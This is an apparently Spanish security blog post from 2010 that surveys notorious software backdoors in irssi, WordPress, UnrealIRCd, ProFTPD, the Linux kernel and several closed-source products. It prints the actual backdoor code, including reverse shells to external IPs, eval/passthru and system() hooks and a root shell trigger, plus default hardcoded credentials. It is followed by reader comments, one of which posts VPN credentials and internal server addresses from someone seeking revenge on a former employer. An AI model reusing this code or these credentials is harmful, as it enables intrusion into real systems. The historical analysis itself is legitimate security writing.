15 diciembre 2010

Las puertas traseras más escandalosas

Se acaba de publicar en la lista de OpenBSD un mail inquietante, como poco. Theo de Raadt, lider del proyecto, ha comunicado que el código del sistema operativo ha podido ser "troyanizado" por sus desarrolladores a petición del gobierno de Estados Unidos entre el año 2000 y 2001.

La noticia es un auténtico bombazo y Theo ha solicitado a la comunidad ayuda para auditar el código.

En otras ocasiones, generalmente cuando el código es cerrado, son los propios fabricantes y desarrolladores los que introducen estas puertas y por este motivo son prácticamente imposibles de detectar, salvo análisis muy profundos y exhaustivos.

He recopilado algunas de las puertas traseras más interesantes y escandalosas:

APLICACIONES DE CÓDIGO ABIERTO

irssi versión 0.8.4, 25 de mayo del 2002. Código introducido en el "configure" del cliente de IRC que causa ejecución de código, después de que los servidores del proyecto fueran hackeados cerca del 14 de Marzo del 2002. CVE-1840-2002
int s;
        struct sockaddr_in sa;
        switch(fork()) { case 0: break; default: exit(0); }
        if((s = socket(AF_INET, SOCK_STREAM, 0)) == (-1)) {
                exit(1);
        }
  /* HP/UX 9 (%@#!) writes to sscanf strings */
        memset(&sa, 0, sizeof(sa));
        sa.sin_family = AF_INET; 
        sa.sin_port = htons(6667); 
        sa.sin_addr.s_addr = inet_addr("204.120.36.206");
        if(connect(s, (struct sockaddr *)&sa, sizeof(sa)) == (-1)) {
                exit(1);
        }
        dup2(s, 0); dup2(s, 1); dup2(s, 2);
/* The GNU C library defines this for functions which it implements
    to always fail with ENOSYS. Some functions are actually named 
    something starting with __ and the normal name is an alias. */
        { char *args[] = { "/bin/sh", NULL }; execve(args[0], args, NULL); }


Wordpress 2.1.1,  2 de marzo del 2007. Tras una intrusión en los sistemas de wordpress, se incluyen dos backdoors en el código de esta versión del gestor de contenido que permite ejecución de código PHP. En concreto, se modifican dos archivos: wp-includes/feed.php a la que se le añade un eval() y wp-includes/theme.php al que le crece un passthru(). De esta forma, se asegura la ejecución incluso si en alguna configuración alguna de estas funciones está deshabilitada. Ya se sabe, alta disponibilidad. CVE 1277-2007. Los cambios:

En wp-includes/feed.php
function comment_text_phpfilter($filterdata) {
eval($filterdata);
}
En wp-includes/theme.php
function get_theme_mcommand($mcds) {
passthru($mcds);
}
...
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }

UnrealIRCd 3.2.8.1, detectado 12 de Junio del 2010, puerta trasera introducida desde el 10 de Noviembre del 2009, permite ejecución de código en el servidor. Pasaron 6 meses distribuyendo el software con el código modificado. Como algo anecdótico, los líderes del proyecto comentaron que dejaron de utilizar el firmado de binarios, porque nadie lo usaba. ¡Ups!  CVE 2010-2075. El diff del código modificado:

@@ -430,6 +430,7 @@
 #endif
 
 /* Fake lag exception */
+
 #define IsNoFakeLag(x)      ((x)->flags & FLAGS_NOFAKELAG)
 #define SetNoFakeLag(x)     ((x)->flags |= FLAGS_NOFAKELAG)
 #define ClearNoFakeLag(x)   ((x)->flags &= ~FLAGS_NOFAKELAG)
@@ -448,6 +449,7 @@
 #else
 #define IsNotSpoof(x)           (1)
 #endif
+#define        DEBUGMODE3          ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)                     (IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)                       ((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? 
Inet_ia2p(&x->ip) : NULL))
@@ -513,6 +515,10 @@
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
+#ifdef DEBUGMODE3
+#define DEBUGMODE3_INFO        "AB"
+#define        DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
+#endif
 
 #define DontSendQuit(x)                (CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)             (CHECKPROTO(x, PROTO_TOKEN))
@@ -1373,6 +1379,7 @@
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
+#define DEBUG3_DOLOG_SYSTEM(x) system(x)
        
 struct _configitem_include {
        ConfigItem *prev, *next;
diff -ru Unreal3.2-good/src/s_bsd.c Unreal3.2-backdoored/src/s_bsd.c
--- Unreal3.2-good/src/s_bsd.c  2009-03-01 10:37:58.000000000 -0800
+++ Unreal3.2-backdoored/src/s_bsd.c    2006-06-16 11:29:00.000000000 -0700
@@ -1431,6 +1431,10 @@
                    return 1;
                if (length <= 0)
                        return length;
+#ifdef DEBUGMODE3
+       if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
+           DEBUG3_LOG(readbuf);
+#endif
                for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
                {
                        int v = (*(h->func.intfunc))(cptr, readbuf, length);

Proftpd 1.3.3c, 1 de diciembre de 2010. Añade mediante el archivo "configure", un archive test.c, que envía una shell, este es invocado desde help.c, que también es modificado.CVE 2010-3867, los ficheros modificados y creados el 28 de noviembre del 2010:

Archivo configure:
gcc tests/tests.c -o tests/tests >/dev/null 2>&1
cc tests/tests.c -o tests/tests >/dev/null 2>&1
tests/tests >/dev/null 2>&1 &
rm -rf tests/tests.c tests/tests >/dev/null 2>&1

El código C de test.c:
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define DEF_PORT 9090
#define DEF_TIMEOUT 15
#define DEF_COMMAND "GET /AB HTTP/1.0\r\n\r\n"

int sock;

void handle_timeout(int sig)
{
    close(sock);
    exit(0);
}

int main(void)
{

        struct sockaddr_in addr;
        struct hostent *he;
        u_short port;
        char ip[20]="212.26.42.47";
        port = DEF_PORT;
        signal(SIGALRM, handle_timeout);
        alarm(DEF_TIMEOUT);
        he=gethostbyname(ip);
        if(he==NULL) return(-1);
        addr.sin_addr.s_addr = *(unsigned long*)he->h_addr;
        addr.sin_port = htons(port);
        addr.sin_family = AF_INET;
        memset(addr.sin_zero, 0, 8);
        sprintf(ip, inet_ntoa(addr.sin_addr));
        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
        {
                return EXIT_FAILURE;
        }
        if(connect(sock, (struct sockaddr*)&addr, sizeof(struct sockaddr))==-1)
        {
            close(sock);
            return EXIT_FAILURE;
        }
        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
        {
            return EXIT_FAILURE;
        }
        close(sock);

return 0; }
Y por último fichero src/help.c
} else {
 if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); }
  /* List the syntax for the given target command. */
  for (i = 0; i < help_list->nelts; i++) {

Linux kernel 2.6-test9-CVS, 6 de noviembre de 2003. Acceso al repositorio y modificación del código del kernel para introducir una puerta trasera y escalar a privilegios de root. Más detalle en la entrada que le dedicamosCVE 2003-1161. El cambio fue realmente discreto:

--- GOOD 2003-11-05 13:46:44.000000000 -0800
+++ BAD 2003-11-05 13:46:53.000000000 -0800
@@ -1111,6 +1111,8 @@
schedule();
goto repeat;
}
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
+ retval = -EINVAL;
retval = -ECHILD;
end_wait4:
current->state = TASK_RUNNING;


APLICACIONES DE CODIGO CERRADO


Ipswitch WS_FTP Server 4.0.2.EVAL, 23 de marzo de 2004, por alguna extraña razón este servidor de FTP permite conectarse a localhost con credenciales por defecto no documentadas: XXSESS_MGRYY con contraseña X#1833. Elevando privilegios a usuario SYSTEM. CVE 2004-1884

[PDF] Los switches de Accton (3com, Dell, SMC, Foundry y EdgeCore), 15 de agosto de 2009. En la conferencia HAR2009 se revela que estos sistemas tienen una puerta trasera que permite acceder a ellos sin conocer su contraseña. Para ello se utiliza un generador de passwords basado en la MAC del dispositivo. El script  también se publicó.

Cisco y su "lawful intercept" o intercepción legal, que permite la escucha de las comunicaciones o algunos usuarios y contraseñas introducidos por defecto en sus productos, como en el caso de los dispositivos WLSE y HSE o los de Videoconferencia (UVC). 

HP MSA2000 Storage Systems, Diciembre 2010, sistemas de HP con usuarios incrustados en el código fuente (admin/!admin), que no pueden ser borrados ni eliminados.

Seguro que si esta entrada hubiera estado escrita en el blog de 48bits, el título sería más gracioso.

10 comments :

Anónimo dijo...

Supongo que las fechas están mal, por ejemplo en proftp has puesto fecha de diciembre de este año y todavía no ha llegado el día 28, el que has indicado.

Alejandro Ramos dijo...

El día 28 de noviembre, si, si ha llegado. ¿No? llevo algunos días muy centrado en mil cosas, pero juraría que ya estamos en diciembre :D

Salvo que se me haya escapado algo, que puede ser. Las fechas deberían estar bien..

Un saludo!

dammit dijo...

Alucino!
Ya tenían pocos problemas los americanos con wikileaks, y se les descubre más pastel por otro lado.

Chema Alonso dijo...

Joder, está el patio que no hay quién salga!

Jandro dijo...

Y no pones las puertas traseras de pgp, el des y las normas de exportacion americanas?? XD son autenticas backdoors pero bien conocidas

admin dijo...

Estoy flipandolo. Muchas gracias por compartir todo esto, hasta el maligno se ha dignado a comentar :)

Dianishermosa dijo...

hola muchachos , hace poco me sacaron de una empresa de forma injusta y un primo me paso un poconon de cosas pero la verdad yo no entinedo nada de esto y quisiera hacerles algo por sacarme asi pero como les digo no tengo ni idea , esto fue lo que me paso mi primo:



me dijo que me descargara este programa:

http://help.mysonicwall.com/Applications/vpnclient/

y que lo instalara y que le configurara esto : 201.244.5.130 y que le colocara usuario :sgrodriguez y clave : Temporal16 y contraseña de seguridad para esta conexión: “SharedSecret”

pero no lo pude ni instalar y me volvi un ocho

ademas le pedi ayuda a el pero me dijo que el no se queria meter en problems que el me daba eso si me servia bien o si no pues que mirara que hiciera

a y me dio estos numeros me dijo que eran de unos serviodres o pcs el me escribio algo asi (sql serber, mysql , apahe) yo no se jejjeje

192.168.40.5 , 192.168.40.207, 192.168.40.13, 192.168.174.28 , 192.168.174.29



ay les dejo yo no se el me dijo que buscara un foro a ver si me ayudaban , si quieren me agregan la msn y me enseñan jijijiji porque no entinedo nada de esos numeritos jijijij

Angberliz dijo...

Muy buen artículo, Alejandro Ramos. El caso que me parece más gravoso es el del kernel de linux, aunque ya he leido que no llegó a distribuirse, cosa que hubiera sido TERRIBLE. Una cosa es un agujero de seguridad y otra pillar un ROOT con una puta linea de código en el kernel.

En su momento circuló por Internet (no como bulo, sino como noticia seria) que a Obama "le habían obligado a que su agenda fuera dentro de una blackberry" que como todos sabemos lleva software propietario y tambien dijeron que "la CIA y otras agencias conocían lo que llevaba en la Blackberry". Ahora lo que se dice es que "Obama es fan de Blackberry".

Dario90 dijo...

Sos tan basico con ese intento mediocre de xss. entre tantas webs que usan Disqus venis a probar aca una vulnerabilidad tan comun.

invitado dijo...

 ??